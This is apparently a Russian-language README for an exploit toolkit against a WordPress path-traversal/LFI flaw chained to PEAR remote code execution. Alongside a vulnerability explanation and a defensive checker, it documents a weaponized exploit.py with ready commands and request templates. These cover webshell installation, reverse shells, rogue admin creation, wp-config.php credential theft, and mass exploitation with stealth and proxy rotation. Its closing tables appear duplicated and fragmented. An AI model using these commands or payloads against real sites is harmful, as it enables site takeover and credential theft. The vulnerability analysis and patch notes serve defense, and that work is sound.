
WordPress CVE-2026-87902 LFI-to-RCE-набор инструментов с вооружённой цепочкой эксплойтов (PEAR RCE, веб-шелл, создание администратора, сбор данных) и неинтрузивной версией SafeChecker и аудитором рисков.

ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.
CVE‑2026‑87902 — критическая уязвимость неаутентифицированного обхода пути и локального включения файлов (LFI) в (версии – ), позволяющая неаутентифицированному злоумышленнику включать произвольные локальные -файлы через параметр запроса и при определённых условиях сервера повышать привилегии до путём цепочки с файлом PEAR . Оценка CVSS: . Обнаружена через программу HackerOne WordPress в июле 2026 года. Исправлена в 22 сентября 2026 года с бэкпортами вплоть до 4.7.
.phppagenamepearcmd.phpУязвимость затрагивает каждый релиз WordPress с 2016 года — десятилетие версий, прошедших проверку кода без обнаружения. Первопричина — единственный пропущенный вызов валидации в одном из наиболее часто используемых путей кода в CMS.
Несанитизированное разрешение шаблонов – get_page_template() в wp-includes/template.php формирует кандидаты шаблонов из переменной запроса pagename. Соседний путь кода в той же функции применяет validate_file() для блокировки последовательностей ../, но ветка $pagename не вызывает её. Любой обход пути в pagename проходит без проверки.
Обход двойного кодирования – WordPress применяет sanitize_title_for_query() к pagename, которая заменяет литеральные точки (.) на дефисы для предотвращения обхода пути. Но функция работает с уже декодированным вводом и не выполняет рекурсивное декодирование. Злоумышленник отправляет %252e%252e%252f; веб-сервер декодирует его один раз в %2e%2e%2f; санитайзер не видит литеральных точек и пропускает его; затем get_page_template() вызывает urldecode() снова внутри функции, получая ../.
Предусловие директории темы – активная тема должна содержать директорию верхнего уровня, имя которой начинается с page- (например, page-templates/). Сформированное имя файла page-{pagename}.php затем выходит за пределы корня темы через обход пути. Старые темы по умолчанию (Twenty Twelve, Twenty Fourteen) и популярные сторонние темы (Neve, Hestia, Sydney) содержат эту директорию. Дочерние темы, наследующие от таких родителей, также удовлетворяют предусловию.
LFI-сток в locate_template() – путь-кандидат передаётся в locate_template(), которая ищет в директориях темы. Поскольку обход пути разрешается в файл вне этих директорий, а функция проверяет только file_exists(), любой читаемый .php-файл включается с полными привилегиями веб-сервера. Это делает LFI безусловной на любом неисправленном сайте, удовлетворяющем предусловию темы — включая wp-config.php с учётными данными базы данных и солями аутентификации.
Эскалация RCE через PEAR pearcmd.php – PEAR поставляется со многими установками PHP. Его pearcmd.php обычно предназначен только для CLI, но при register_argc_argv=On PHP заполняет $_SERVER['argv'] из строки запроса URL. Злоумышленник включает pearcmd.php через LFI, передаёт config-create в качестве аргумента и предоставляет PHP-код вместе с путём вывода (/tmp/shell.php). PEAR записывает код злоумышленника на диск; второе включение выполняет его.
Второй маршрут эксплуатации – запрос, объединяющий name (слаг главной страницы), page_id (ID страницы записей), preview=true и полезную нагрузку pagename, перенаправляет WP_Query в ветку post_name, которая никогда не перезаписывает pagename через sanitize_title_for_query(). Это позволяет использовать литеральные точки в обходе пути. Требуется тема без single.php.
Требования к конфигурации сервера – RCE зависит от двух условий, распространённых в реальных развёртываниях: наличие/читаемость pearcmd.php (часто на shared-хостинге, cPanel, официальных Docker-образах PHP) и register_argc_argv=On (по умолчанию в PHP ниже 8.5). PHP 8.5 изменил значение по умолчанию на Off. На современном сервере PHP 8.5+ без PEAR эксплуатация останавливается на LFI.
Патч – WordPress 7.1.2 добавляет два уровня защиты: (a) пропущенный вызов validate_file() в ветке pagename и (b) новую функцию _wp_is_template_path_allowed(), вызываемую locate_template() для каждого разрешённого шаблона. Функция отклоняет пути, содержащие .., затем разрешает реальный путь через realpath() и проверяет, что он находится внутри одной из разрешённых директорий темы. Эта эшелонированная защита закрывает сток, а не только один маршрут к нему.
Активная эксплуатация в дикой природе – первые вредоносные запросы зафиксированы через 5 часов после выпуска патча (17:44 UTC, 22 сентября 2026 г.). Трафик вырос в десять раз в течение следующего дня. Наблюдались три стадии: разведка config-show → обнаружение основных файлов → вооружение config-create. Имена файлов полезной нагрузки включали wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, записанные в /tmp и /var/tmp. Атакующие IP: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.
Воздействие – выполнение кода с привилегиями веб-сервера. Полный захват сайта, кража учётных данных wp-config.php, эксфильтрация данных, установка веб-шелла, создание административного пользователя, обратный шелл, атаки на цепочку поставок через модифицированные плагины/темы и боковое перемещение в подключённые сервисы. Оценка CVSS 9.2 отражает сетевую эксплуатируемость, отсутствие аутентификации, высокое воздействие на конфиденциальность/целостность/доступность. Высокая сложность атаки отражает предусловия темы и сервера, но на типичном shared-хостинге эти условия часто выполняются.
page-* в активной теме, установите register_argc_argv=Off в php.ini и заблокируйте обход пути с двойным кодированием в параметре pagename на уровне WAF.| Инструмент | Назначение | Целевой пользователь |
|---|---|---|
exploit.py | Полный вооружённый набор с обнаружением LFI, цепочкой PEAR RCE, созданием административного пользователя, установкой веб-шелла, обратным шеллом, массовым сканированием, режимом скрытности, ротацией прокси и полной цепочкой атаки. | Red teams / авторизованные пентестеры |
safecheck.py | Неинтрузивный чекер уязвимостей, который определяет версию WordPress, проверяет подверженность и оценивает риск без включения каких-либо файлов или выполнения каких-либо полезных нагрузок. Генерирует отчёты JSON. | Blue teams / аудиторы безопасности |
| Возможность | exploit.py | safecheck.py |
|---|---|---|
| Обнаружение уязвимости | ✅ | ✅ |
| Определение версии | ✅ | ✅ |
Проверка директории темы page-* | ✅ | ✅ |
Достижимость PEAR pearcmd.php | ✅ | ✅ |
Проверка register_argc_argv | ✅ | ✅ |
| Проба поведения WAF | ❌ | ✅ |
| Проба LFI с двойным кодированием | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| Создание административного пользователя | ✅ | ❌ |
| Установка веб-шелла | ✅ | ❌ |
| Обратный шелл | ✅ | ❌ |
Извлечение wp-config.php | ✅ | ❌ |
| Полная цепочка атаки | ✅ | ❌ |
| Массовое сканирование (многопоточное) | ✅ | ✅ |
| Поддержка прокси | ✅ | ✅ |
| Ротация прокси | ✅ | ❌ |
| Ротация User‑Agent (OPSEC) | ✅ | ❌ |
| Джиттер (OPSEC) | ✅ | ❌ |
| Ограничитель скорости | ✅ | ❌ |
| Неинтрузивный (безопасный) режим | ❌ | ✅ |
| Отчёт об оценке рисков | ✅ | ✅ |
| Сценарий | Рекомендуемый инструмент |
|---|---|
| Blue Team – проверка уязвимости вашего WordPress | safecheck.py |
| Аудит безопасности – неинтрузивная оценка уязвимости | safecheck.py |
| Red Team – авторизованное тестирование на проникновение с полной эксплуатацией | exploit.py |
| Bug Bounty – ответственное раскрытие | safecheck.py |
| Массовое сканирование – проверка нескольких целей на уязвимость | exploit.py (только обнаружение) |
| Реагирование на инциденты – проверка компрометации систем | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели WordPress (например, http://wordpress.example.com) |
-f, --file | Файл со списком целей (по одной в строке) для массового сканирования |
--pipe | Чтение целей из stdin |
--exploit | Выполнить эксплуатацию после обнаружения |
--create-admin | Создать постоянного административного пользователя (формат: USER:PASS) |
--webshell | Установить веб-шелл через RCE |
--reverse-shell | Запустить обратный шелл (формат: LHOST:LPORT) |
--loot | Извлечь wp-config.php и другие файлы |
--threads | Количество потоков для нескольких целей (по умолчанию: 8) |
--timeout | Тайм-аут запроса (по умолчанию: 15s) |
--retry | Максимум повторов (по умолчанию: 3) |
--proxy | HTTP/HTTPS прокси (например, http://127.0.0.1:8080) |
--proxy-list | Файл с прокси для ротации (по одному в строке) |
--proxy-rotate | Стратегия ротации прокси (round-robin, random, sticky) |
--jitter | Случайный джиттер между запросами |
--jitter-range | Мин.,макс. джиттера в секундах (по умолчанию: 0.1,2.0) |
--delay | Фиксированная задержка между запросами |
--stealth | Включить режим скрытности (ротация UA + джиттер) |
--insecure | Отключить проверку TLS |
safecheck.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели WordPress (например, http://wordpress.example.com) |
-f, --file | Файл со списком целей (по одной в строке) |
--pipe | Чтение целей из stdin |
-t, --threads | Количество потоков для нескольких целей (по умолчанию: 8) |
--timeout | Тайм-аут запроса (по умолчанию: 15s) |
--retry | Максимум повторов (по умолчанию: 3) |
--proxy | HTTP/HTTPS прокси |
--jitter | Случайный джиттер между запросами |
--jitter-range | Мин.,макс. джиттера в секундах (по умолчанию: 0.1,2.0) |
--delay | Фиксированная задержка между запросами |
--insecure | Отключить проверку TLS |
--user-agent | Пользовательский User-Agent |
--max-body | Максимальный размер тела ответа |
--concurrent-per-host | Максимум одновременных запросов на хост |
--exclude | Хосты для исключения через запятую |
-o, --output | Сохранить отчёт JSON в файл (.json, .csv, .html, .jsonl) |
--db | Файл базы данных SQLite |
-v, --verbose | Подробный вывод |
-q, --quiet | Тихий режим |
--no-banner | Подавить баннер |
| # | Сценарий | Команда |
|---|---|---|
| 1 | Быстрая проверка уязвимости | python safecheck.py -u http://wordpress.example.com |
| 2 | Детальное сканирование с отчётом | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Массовый аудит из файла | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Эксплойт только для обнаружения | python exploit.py -u http://wordpress.example.com |
| 5 | Извлечение wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Полная атака с веб-шеллом | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Создание постоянного административного пользователя | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Обратный шелл | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Полная цепочка атаки | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Массовая эксплуатация со скрытностью | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Ротация прокси | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
Эксплойт использует следующие конечные точки WordPress и шаги эксплуатации:
| Шаг | Метод | Конечная точка | Описание |
|---|---|---|---|
| 1. Фингерпринтинг | GET | / | Обнаружение WordPress через wp-content, wp-includes, wp-json |
| 2. Версия | GET | /feed/ | Извлечение версии через мета-тег <generator> |
| 3. ID страницы | GET | /wp-json/wp/v2/pages | Обнаружение действительного page_id |
| 4. Директория темы | GET | /wp-content/themes/{theme}/page-templates/ | Подтверждение предусловия page-* |
| 5. Проба LFI | GET | /?page_id={id}&pagename={payload} | Обход пути с двойным кодированием для включения локального файла |
| 6. Включение PEAR | GET | /?page_id={id}&pagename={pearcmd} | Включение pearcmd.php |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Запись PHP-файла через PEAR |
| 8. Выполнение | GET | /?page_id={id}&pagename={outfile} | Включение записанного файла → RCE |
| 9. Закрепление | GET | (через RCE) | Создание административного пользователя / веб-шелла |
| 10. Извлечение | GET | /?page_id={id}&pagename={wp-config} | Чтение wp-config.php через LFI |
# Пример обхода пути с двойным кодированием
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# Цепочка PEAR config-create RCE
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# Триггер включения PEAR
GET /?page_id=2&pagename={encoded_output_path}
Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.
| Рекомендации по устранению | ❌ | ✅ |
| Отчёт JSON | ✅ | ✅ |
| Отчёт CSV | ✅ | ✅ |
| Отчёт HTML | ✅ | ✅ |
| Вывод SQLite | ✅ | ✅ |
| Пользовательский User‑Agent | ✅ | ✅ |
| Управление проверкой SSL | ✅ | ✅ |
--user-agent| Пользовательский User-Agent |
--max-body | Максимальный размер тела ответа |
--concurrent-per-host | Максимум одновременных запросов на хост |
--rate-limit | Максимум запросов в секунду |
--exclude | Хосты для исключения через запятую |
-o, --output | Сохранить отчёт в файл (.json, .csv, .html, .jsonl) |
--db | Файл базы данных SQLite |
-v, --verbose | Подробный вывод |
-q, --quiet | Тихий режим |
--no-banner | Подавить баннер |